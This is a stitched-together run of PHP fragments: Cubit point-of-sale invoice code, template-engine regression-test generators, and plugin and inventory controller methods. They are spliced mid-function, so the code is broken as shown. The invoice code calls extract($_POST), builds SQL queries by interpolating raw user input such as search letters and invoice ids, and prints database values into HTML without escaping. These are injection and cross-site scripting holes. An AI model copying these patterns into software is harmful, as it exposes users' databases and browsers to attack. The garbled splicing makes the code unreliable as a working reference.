$pcash = sprint($pcash - $change);
if ($pcash < 0) {
$pcash = 0;
}
if (sprint($pcash + $pcheque + $pcc + $pcredit) != sprint($TOTAL)) {
return details($_POST, "<li class='err'>The total of all the payments is not equal to the invoice total.<br>\n\t\t\t(You can only overpay with cash)</li>");
}
# insert quote to DB
$sql = "UPDATE pinvoices SET done = 'y' WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$rslt = db_exec($sql) or errDie("Unable to update invoice status in Cubit.", SELF);
# print the invoice
$OUTPUT = "\n\t\t\t\t\t<script>printer2('pos-invoice-print.php?invid={$invid}');</script>\n\t\t\t\t\t<input type='button' value='Create New POS Invoice' onClick=\"move('pos-invoice-new-no-neg.php');\">";
require "template.php";
} elseif (isset($saveBtn)) {
// Final Laytout
$write = "\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr>\n\t\t\t\t<th>New Point of Sale Invoice Saved</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Invoice for <b>{$client}</b> has been saved.</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<p>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr>\n\t\t\t\t<th>Quick Links</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td><a href='pos-invoice-new-no-neg.php'>New Point of Sale Invoice</a></td>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td><a href='pos-invoice-list.php'>View Point of Sale Invoices</a></td>\n\t\t\t</tr>\n\t\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t</table>";
return $write;
} elseif (isset($cancel)) {
// Final Laytout
$write = "\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr>\n\t\t\t\t<th>New Point of Sale Invoice Saved</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Invoice for <b>{$client}</b> has been saved.</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<p>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t<tr>\n\t\t\t\t<th>Quick Links</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td><a href='pos-invoice-new-no-neg.php'>New Point of Sale Invoice</a></td>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td><a href='pos-invoice-list.php'>View Point of Sale Invoices</a></td>\n\t\t\t</tr>\n\t\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t</table>";
return $write;
} else {
if (isset($wtd)) {
$_POST['wtd'] = $wtd;
}
return details($_POST);
}
/* --- End button Listeners --- */
}
function perms($arr)
{
$p = array();
for ($i = 0; $i < factorial(count($arr)); $i++) {
$p[] = perm($arr, $i);
}
return $p;
}
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/array_append/append_with_comments.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$list = perm(alt('$a'), clone $comments, alt('['), clone $comments, alt(']'), clone $comments, alt('=1'));
$a = app("array_append/append_with_comments.in", $argv);
$a->output("{var \$a = array( 0 )}\n");
do {
$str = $list->generate();
$a->output("{" . $str . "}\n");
} while ($list->increase());
$a->output("{debug_dump( \$a )}\n");
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/blocks/incorrect/non_matching_block_*.in
$blocksStart = alt("", "{foreach \$array as \$bar}", "{while \$_false}", "{delimiter}", "{if \$foo}", "{elseif \$foo}", "{else}", "{switch \$foo}", "{case 5}", "{default}");
$blocksEnd = alt("", "{/foreach}", "{/while}", "{/delimiter}", "{/if}", "{/switch}", "{/case}", "{/default}");
$blocksStart1 = clone $blocksStart;
$blocksEnd1 = clone $blocksEnd;
$blocksStartEnd = perm($blocksStart1, "\n {\$foo}\n", $blocksEnd1, "\n");
$blocksStart2 = clone $blocksStart;
$blocksEnd2 = clone $blocksEnd;
$blocksStartEnd2 = perm($blocksStart2, "\n {\$foo}\n", $blocksEnd2, "\n");
$blocksNested = alt(perm("{foreach \$array as \$bar}\n", altI(' ', $blocksStartEnd2), "{/foreach}\n"));
$alt = alt($blocksStartEnd, $blocksNested);
$list = perm($alt);
$dir = dirname(__FILE__) . "/../regression_tests/blocks/incorrect/";
$a = app("", $argv, $dir);
$i = 1;
$top = "{var \$foo = 1, \$_false = false, \$array = array( 1, 2 )}\n";
if (!$a->outputToFile) {
echo $top;
}
$inCount = 0;
$outCount = 0;
do {
$num = sprintf("%04d", $i);
$str = $list->generate();
$inFile = $dir . "/non_matching_block_" . $num . ".in";
$outFile = $dir . "/non_matching_block_" . $num . ".out";
$useEntry = false;
// Check for valid entries.
function installPlugin($name)
{
perm('plugins', 'removeAddPlugin', $this->Session->read("user_perm"), true);
if ($this->request->is('ajax')) {
$this->disableCache();
Configure::write('debug', 0);
$this->autoRender = false;
require APP . 'spacebukkitcall.php';
$args = array($name);
$api->call("pluginInstall", $args, true);
}
}
function inventory_delete($name, $slot)
{
perm('users', 'seeInventory', $this->Session->read("user_perm"), true);
if ($this->request->is('ajax')) {
$this->disableCache();
Configure::write('debug', 0);
$this->autoRender = false;
include APP . 'spacebukkitcall.php';
$args = array($name, $slot);
$items = $api->call("clearInventorySlot", $args, false);
}
}
function details($_POST, $error = "")
{
# Get vars
extract($_POST);
# validate input
require_lib("validate");
$v = new validate();
if (isset($invid)) {
$v->isOk($invid, "num", 1, 20, "Invalid invoice number.");
}
if (isset($deptid)) {
$v->isOk($deptid, "num", 1, 20, "Invalid department number.");
}
if (isset($letters)) {
$v->isOk($letters, "string", 0, 5, "Invalid First 3 Letters.");
}
# display errors, if any
if ($v->isError()) {
$errors = $v->getErrors();
foreach ($errors as $e) {
$error .= "<li class='err'>{$e['msg']}</li>";
}
$confirm .= "{$error}<p><input type='button' onClick='JavaScript:history.back();' value='« Correct submission'>";
return $confirm;
}
if (!isset($deptid)) {
$deptid = 0;
} else {
if (isset($invid)) {
db_conn("cubit");
$sql = "UPDATE rec_invoices SET deptid='{$deptid}' WHERE invid='{$invid}' AND deptid<>'{$deptid}'";
db_exec($sql) or errDie("Error updating invoice department.");
}
}
if (!isset($invid)) {
$invid = create_dummy($deptid);
$stkerr = "0,0";
}
if (!isset($done)) {
$done = "";
}
if (!isset($stkerr)) {
$stkerr = "0,0";
}
# Get invoice info
db_connect();
$sql = "SELECT * FROM rec_invoices WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$invRslt = db_exec($sql) or errDie("Unable to get invoice information");
if (pg_numrows($invRslt) < 1) {
return "<li class='err'>Invoice Not Found</li>";
}
$inv = pg_fetch_array($invRslt);
# Get department
db_conn("exten");
$sql = "SELECT * FROM departments WHERE deptid = '{$inv['deptid']}' AND div = '" . USER_DIV . "'";
$deptRslt = db_exec($sql);
if (pg_numrows($deptRslt) < 1) {
$dept['deptname'] = "<li class='err'>Department not Found.</li>";
} else {
$dept = pg_fetch_array($deptRslt);
}
# Get selected Customer info
if (isset($letters)) {
db_connect();
$sql = "SELECT * FROM customers WHERE cusnum = '{$inv['cusnum']}' AND div = '" . USER_DIV . "'";
$custRslt = db_exec($sql) or errDie("Unable to view customer");
if (pg_numrows($custRslt) < 1) {
db_connect();
if ($inv['deptid'] == 0) {
$searchdept = "";
} else {
$searchdept = "deptid = '{$inv['deptid']}' AND ";
}
# Query server for customer info
$sql = "\n\t\t\t\tSELECT * FROM customers \n\t\t\t\tWHERE {$searchdept} location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' \n\t\t\t\tORDER BY surname";
$custRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($custRslt) < 1) {
$ajax_err = "<li class='err'>No customer names starting with <b>{$letters}</b> in database.</li>";
//return view_err($_POST, $err);
} else {
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
$customers .= "<option value='-S' selected>Select Customer</option>";
while ($cust = pg_fetch_array($custRslt)) {
$customers .= "<option value='{$cust['cusnum']}'>{$cust['cusname']} {$cust['surname']}</option>";
}
$customers .= "</select>";
}
# Take care of the unset vars
$cust['addr1'] = "";
$cust['cusnum'] = "";
$cust['vatnum'] = "";
$cust['accno'] = "";
} else {
$cust = pg_fetch_array($custRslt);
$sql = "SELECT * FROM customers WHERE deptid = '{$inv['deptid']}' AND location != 'int' AND lower(surname) LIKE lower('{$letters}%') AND blocked != 'yes' AND div = '" . USER_DIV . "' ORDER BY surname";
$cusRslt = db_exec($sql) or errDie("Unable to view customers");
# Moarn if customer account has been blocked
if ($cust['blocked'] == 'yes') {
$error .= "<li class='err'>Error : Selected customer account has been blocked.</li>";
}
// $customers = "<input type=hidden name=cusnum value='$cust[cusnum]'>$cust[cusname] $cust[surname]";
$cusnum = $cust['cusnum'];
$customers = "<select name='cusnum' onChange='javascript:document.form.submit();'>";
// $customers .= "<option value='-S' selected>Select Customer</option>";
while ($cus = pg_fetch_array($cusRslt)) {
$sel = "";
if ($cust['cusnum'] == $cus['cusnum']) {
$sel = "selected";
}
$customers .= "<option value='{$cus['cusnum']}' {$sel}>{$cus['cusname']} {$cus['surname']}</option>";
}
$customers .= "</select>";
}
}
/* --- Start Drop Downs --- */
# Select warehouse
db_conn("exten");
// $whs = "<select name='whidss[]' onChange='javascript:document.form.submit();'>";
$whs = "<select name='whidss[]'>";
$sql = "SELECT * FROM warehouses WHERE div = '" . USER_DIV . "' ORDER BY whname ASC";
$whRslt = db_exec($sql);
if (pg_numrows($whRslt) < 1) {
return "<li class='err'> There are no Stores found in Cubit.</li>";
} else {
$whs .= "<option value='-S' disabled selected>Select Store</option>";
while ($wh = pg_fetch_array($whRslt)) {
if (!user_in_store_team($wh["whid"], USER_ID)) {
continue;
}
$whs .= "<option value='{$wh['whid']}'>({$wh['whno']}) {$wh['whname']}</option>";
}
}
$whs .= "</select>";
# Get sales people
db_conn("exten");
$sql = "SELECT * FROM salespeople WHERE div = '" . USER_DIV . "' ORDER BY salesp ASC";
$salespRslt = db_exec($sql) or errDie("Unable to get sales people.");
if (pg_numrows($salespRslt) < 1) {
return "<li class='err'> There are no Sales People found in Cubit.</li>";
} else {
$salesps = "<select name='salespn'>";
while ($salesp = pg_fetch_array($salespRslt)) {
if ($salesp['salesp'] == $inv['salespn']) {
$sel = "selected";
} else {
$sel = "";
}
$salesps .= "<option value='{$salesp['salesp']}' {$sel}>{$salesp['salesp']}</option>";
}
$salesps .= "</select>";
}
# Days drop downs
$days = array("0" => "0", "7" => "7", "14" => "14", "30" => "30", "60" => "60", "90" => "90", "120" => "120");
$termssel = extlib_cpsel("terms", $days, $inv['terms']);
# Keep the charge vat option stable
if ($inv['chrgvat'] == "inc") {
$chin = "checked=yes";
$chex = "";
$chno = "";
} elseif ($inv['chrgvat'] == "exc") {
$chin = "";
$chex = "checked=yes";
$chno = "";
} else {
$chin = "";
$chex = "";
$chno = "checked=yes";
}
# Format date
list($rinv_year, $rinv_month, $rinv_day) = explode("-", $inv['odate']);
/* --- End Drop Downs --- */
// get the ID of the first warehouse
db_conn("exten");
$sql = "SELECT whid FROM warehouses ORDER BY whid ASC LIMIT 1";
$rslt = db_exec($sql) or errDie("Error reading warehouses (FWH).");
if (pg_num_rows($rslt) > 0) {
$FIRST_WH = pg_fetch_result($rslt, 0, 0);
} else {
$FIRST_WH = "-S";
}
/* --- Start Products Display --- */
# Select all products
$products = "\n\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t<tr>\n\t\t\t\t<th>STORE</th>\n\t\t\t\t<th>ITEM NUMBER</th>\n\t\t\t\t<th>VAT CODE</th>\n\t\t\t\t<th>DESCRIPTION</th>\n\t\t\t\t<th>QTY</th>\n\t\t\t\t<th>UNIT PRICE</th>\n\t\t\t\t<th>UNIT DISCOUNT</th>\n\t\t\t\t<th>AMOUNT</th>\n\t\t\t\t<th>Remove</th>\n\t\t\t<tr>";
# get selected stock in this invoice
db_connect();
$sql = "SELECT * FROM recinv_items WHERE invid = '{$invid}' AND div = '" . USER_DIV . "'";
$stkdRslt = db_exec($sql);
$i = 0;
$key = 0;
while ($stkd = pg_fetch_array($stkdRslt)) {
$stkd['account'] += 0;
if ($stkd['account'] != 0) {
# Keep track of selected stock amounts
$amts[$i] = $stkd['amt'];
$i++;
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
$Accounts = "\n\t\t\t\t<select name='accounts[]'>\n\t\t\t\t\t<option value='0'>Select Account</option>";
while ($ad = pg_fetch_array($Ri)) {
if (isb($ad['accid'])) {
continue;
}
if ($ad['accid'] == $stkd['account']) {
$sel = "selected";
} else {
$sel = "";
}
$Accounts .= "<option value='{$ad['accid']}' {$sel}>{$ad['accname']}</option>";
}
$Accounts .= "</select>";
$sernos = "";
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[]' value='{$stkd['qty']}'>";
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$stkd['unitcost']}'>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodes[]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stkd['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in product
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td colspan='2'>{$Accounts}<input type='hidden' name='whids[]' value='{$stkd['whid']}'></td>\n\t\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stkd['stkid']}'>{$Vatcodes}</td>\n\t\t\t\t\t<td><input type='text' size='20' name='descriptions[]' value='{$stkd['description']}'> {$sernos}</td>\n\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t<td><input type='hidden' name='disc[]' value='{$stkd['disc']}'><input type='hidden' name='discp[]' value='{$stkd['discp']}'></td>\n\t\t\t\t\t<td nowrap><input type='hidden' name='amt[]' value='{$stkd['amt']}'> " . CUR . " " . sprint($stkd['amt']) . "</td>\n\t\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$key}'><input type='hidden' name='SCROLL' value='yes'></td>\n\t\t\t\t</tr>";
$key++;
} else {
# Keep track of selected stock amounts
$amts[$i] = $stkd['amt'];
$i++;
# Get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$stkd['whid']}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkd['stkid']}' AND div = '" . USER_DIV . "'";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
$sernos = "<input type='hidden' name='sernos[]' value='{$stkd['serno']}'>{$stkd['serno']}";
# check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$stkd['unitcost']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[]' value='{$stkd['unitcost']}'>{$stkd['unitcost']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodes[]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stkd['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in product
$products .= "\n\t\t\t\t<input type='hidden' name='accounts[]' value='0'>\n\t\t\t\t<input type='hidden' name='descriptions[]' value=''>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td><input type='hidden' name='whids[]' value='{$stkd['whid']}'>{$wh['whname']}</td>\n\t\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stkd['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t\t{$sernos}\n\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t\t<td><input type='text' size='3' name='qtys[]' value='{$stkd['qty']}'></td>\n\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t<td><input type='text' size='4' name='disc[]' value='{$stkd['disc']}'> OR <input type='text' size='4' name='discp[]' value='{$stkd['discp']}' maxlength='5'>%</td>\n\t\t\t\t\t<td nowrap><input type='hidden' name='amt[]' value='{$stkd['amt']}'> " . CUR . " " . sprint($stkd['amt']) . "</td>\n\t\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$key}'><input type='hidden' name='SCROLL' value='yes'></td>\n\t\t\t\t</tr>";
$key++;
}
}
# Look above(remprod keys)
$keyy = $key;
# Look above(if i = 0 then there are no products)
if ($i == 0) {
$done = "";
} else {
$SCROLL = "yes";
}
# check if stock warehouse was selected
if (isset($whidss)) {
foreach ($whidss as $key => $whid) {
if (isset($stkidss[$key]) && $stkidss[$key] != "-S" && isset($cust['pricelist'])) {
# skip if not selected
if ($whid == "-S") {
continue;
}
# Get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
# Get selected stock in this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE stkid = '{$stkidss[$key]}' AND div = '" . USER_DIV . "' ORDER BY stkcod ASC";
$stkRslt = db_exec($sql);
$stk = pg_fetch_array($stkRslt);
$sernos = "<input type='hidden' name='sernos[]' value=''>";
# Get price from price list if it is set
if (isset($cust['pricelist'])) {
# get selected stock in this warehouse
db_conn("exten");
$sql = "SELECT price FROM plist_prices WHERE listid = '{$cust['pricelist']}' AND stkid = '{$stk['stkid']}' AND div = '" . USER_DIV . "'";
$plRslt = db_exec($sql);
if (pg_numrows($plRslt) > 0) {
$pl = pg_fetch_array($plRslt);
$stk['selamt'] = $pl['price'];
}
}
/* -- Start Some Checks -- */
# check if they are selling too much
if ($stk['units'] - $stk['alloc'] < $qtyss[$key]) {
if (!in_array($stk['stkid'], explode(",", $stkerr))) {
if ($stk['type'] != 'lab') {
$stkerr .= ",{$stk['stkid']}";
$error .= "<li class='err'>Warning : Item number <b>{$stk['stkcod']}</b> does not have enough items available.</li>";
}
}
}
/* -- End Some Checks -- */
# Calculate the Discount discount
if ($discs[$key] < 1) {
if ($discps[$key] > 0) {
$discs[$key] = round($discps[$key] / 100 * $stk['selamt'], 2);
}
} else {
$discps[$key] = round($discs[$key] * 100 / $stk['selamt'], 2);
}
# Calculate amount
$amt[$key] = $qtyss[$key] * ($stk['selamt'] - $discs[$key]);
$stk['selamt'] = sprint($stk['selamt']);
# Check permissions
if (perm("invoice-unitcost-edit.php")) {
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$stk['selamt']}'>";
} else {
$viewcost = "<input type='hidden' size='8' name='unitcost[]' value='{$stk['selamt']}'>{$stk['selamt']}";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t<select name='vatcodes[]'>\n\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($stk['vatcode'] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
$amt[$key] = sprint($amt[$key]);
# Put in selected warehouse and stock
$products .= "\n\t\t\t\t\t<input type='hidden' name='accounts[]' value='0'>\n\t\t\t\t\t<input type='hidden' name='descriptions[]' value=''>\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td><input type='hidden' name='whids[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t<td><input type='hidden' name='stkids[]' value='{$stk['stkid']}'><a href='#bottom' onclick='openwindow(\"stock-amt-det.php?stkid={$stk['stkid']}\")'>{$stk['stkcod']}</a></td>\n\t\t\t\t\t\t{$sernos}\n\t\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t\t<td>" . extlib_rstr($stk['stkdes'], 30) . "</td>\n\t\t\t\t\t\t<td><input type='text' size='3' name='qtys[]' value='{$qtyss[$key]}'></td>\n\t\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t\t<td><input type='text' size='4' name='disc[]' value='{$discs[$key]}'> OR <input type='text' size='4' name='discp[]' value='{$discps[$key]}' maxlength='5'>%</td>\n\t\t\t\t\t\t<td nowrap><input type='hidden' name='amt[]' value='{$amt[$key]}'> " . CUR . " {$amt[$key]}</td>\n\t\t\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$keyy}'></td>\n\t\t\t\t\t</tr>";
$keyy++;
} elseif (isset($accountss[$key]) && $accountss[$key] != "0" && isset($cust['pricelist'])) {
db_conn('core');
$Sl = "SELECT * FROM accounts WHERE accid='{$accountss[$key]}'";
$Ri = db_exec($Sl) or errDie("Unable to get account data.");
if (pg_num_rows($Ri) < 1) {
return "invalid.";
}
$ad = pg_fetch_array($Ri);
# Calculate amount
$amt[$key] = sprint($qtyss[$key] * $unitcosts[$key]);
# Input qty if not serialised
$qtyin = "<input type='text' size='3' name='qtys[]' value='{$qtyss[$key]}'>";
# Check permissions
$viewcost = "<input type='text' size='8' name='unitcost[]' value='{$unitcosts[$key]}'>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t<select name='vatcodes[]'>\n\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vatcodess[$key] == $vd['id']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
# Put in selected warehouse and stock
$products .= "\n\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t<td colspan='2'>{$ad['accname']}<input type='hidden' name='accounts[]' value='{$accountss[$key]}'><input type='hidden' name='whids[]' value='0'></td>\n\t\t\t\t\t\t<td>{$Vatcodes}<input type='hidden' name='stkids[]' value='0'></td>\n\t\t\t\t\t\t<td><input type='text' size='20' name='descriptions[]' value='{$descriptionss[$key]}'></td>\n\t\t\t\t\t\t<td>{$qtyin}</td>\n\t\t\t\t\t\t<td>{$viewcost}</td>\n\t\t\t\t\t\t<td><input type='hidden' name='disc[]' value='0'><input type='hidden' name='discp[]' value='0'></td>\n\t\t\t\t\t\t<td nowrap><input type='hidden' name='amt[]' value='{$amt[$key]}'> " . CUR . " {$amt[$key]}</td>\n\t\t\t\t\t\t<td><input type='checkbox' name='remprod[]' value='{$keyy}'></td>\n\t\t\t\t\t</tr>";
$keyy++;
} else {
if (!isset($diffwhBtn)) {
# skip if not selected
if ($whid == "-S") {
continue;
}
if (!isset($addnon)) {
# get warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) && $ria != "") {
$len = strlen($ria);
if ($ria == "Show All") {
$Wh = "";
$ria = "";
} else {
$Wh = "AND (lower(stkdes) LIKE lower('%{$ria}%')) OR (lower(stkcod) LIKE lower('%{$ria}%'))";
// $Wh = "AND lower(substr(stkcod,1,'$len'))=lower('$ria')";
}
} else {
$Wh = "AND FALSE";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' AND serd = 'no' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
$error .= "<li class='err'>There are no stock items in the selected warehouse.</li>";
continue;
}
if (pg_numrows($stkRslt) == 1) {
$ex = "selected";
} else {
$ex = "";
}
if (!isset($sel_frm) || $sel_frm == "stkcod") {
$cods = "<select class='width : 15'name='stkidss[]' onChange='javascript:document.form.submit();'>";
$cods .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$cods .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$cods .= "</select> ";
$descs = "";
} else {
$descs = "<select class='width : 15'name='stkidss[]' onChange='javascript:document.form.submit();'>";
$descs .= "<option value='-S' disabled selected>Select Description</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$descs .= "<option value='{$stk['stkid']}'>{$stk['stkdes']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$descs .= "</select> ";
$cods = "";
}
# put in drop down and warehouse
$products .= "\n\t\t\t\t\t\t\t<input type='hidden' name='accountss[]' value='0'>\n\t\t\t\t\t\t\t<input type='hidden' name='descriptionss[]' value=''>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='whidss[]' value='{$whid}'>{$wh['whname']}</td>\n\t\t\t\t\t\t\t\t<td>{$cods}</td>\n\t\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t\t<td>{$descs}</td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='3' name='qtyss[]' value='1'></td>\n\t\t\t\t\t\t\t\t<td> </td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='4' name='discs[]' value='0'> OR <input type='text' size='4' name='discps[]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='amts[]' value='0.00'>" . CUR . " 0.00</td>\n\t\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t</tr>";
} else {
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
$Accounts = "\n\t\t\t\t\t\t\t<select name='accountss[]' onChange='javascript:document.form.submit();'>\n\t\t\t\t\t\t\t\t<option value='0'>Select Account</option>";
while ($ad = pg_fetch_array($Ri)) {
if (isb($ad['accid'])) {
continue;
}
$Accounts .= "<option value={$ad['accid']}>{$ad['accname']}</option>";
}
$Accounts .= "</select>";
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t\t\t<select name='vatcodess[]'>\n\t\t\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
//<input type='hidden' name='stkidss[]' value=''>
$products .= "\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td colspan='2'>{$Accounts}<input type='hidden' name='whidss[]' value='{$FIRST_WH}'></td>\n\t\t\t\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='20' name='descriptionss[]'></td>\n\t\t\t\t\t\t\t\t<td><input type='text' size='3' name='qtyss[]' value='1'></td>\n\t\t\t\t\t\t\t\t<td><input type='text' name='unitcosts[]' size='7'></td>\n\t\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " 0.00</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='discs[]' value='0'><input type='hidden' name='discps[]' value='0' ></td>\n\t\t\t\t\t\t\t</tr>";
}
}
}
}
} else {
if (!(isset($diffwhBtn) || isset($addnon))) {
# check if setting exists
db_connect();
$sql = "SELECT value FROM set WHERE label = 'DEF_WH' AND div = '" . USER_DIV . "'";
$Rslt = db_exec($sql) or errDie("Unable to check database for existing settings.");
if (pg_numrows($Rslt) > 0) {
$set = pg_fetch_array($Rslt);
$whid = $set['value'];
if (isset($wtd) && $wtd != 0) {
$whid = $wtd;
}
# get selected warehouse name
db_conn("exten");
$sql = "SELECT whname FROM warehouses WHERE whid = '{$whid}' AND div = '" . USER_DIV . "'";
$whRslt = db_exec($sql);
$wh = pg_fetch_array($whRslt);
if (isset($ria) && $ria != "") {
$len = strlen($ria);
if ($ria == "Show All") {
$Wh = "";
$ria = "";
} else {
$Wh = "AND lower(substr(stkcod,1,'{$len}'))=lower('{$ria}')";
$ria = "";
}
} else {
$Wh = "";
$ria = "";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE whid = '{$whid}' AND blocked = 'n' AND div = '" . USER_DIV . "' AND serd = 'no' {$Wh} ORDER BY stkcod ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
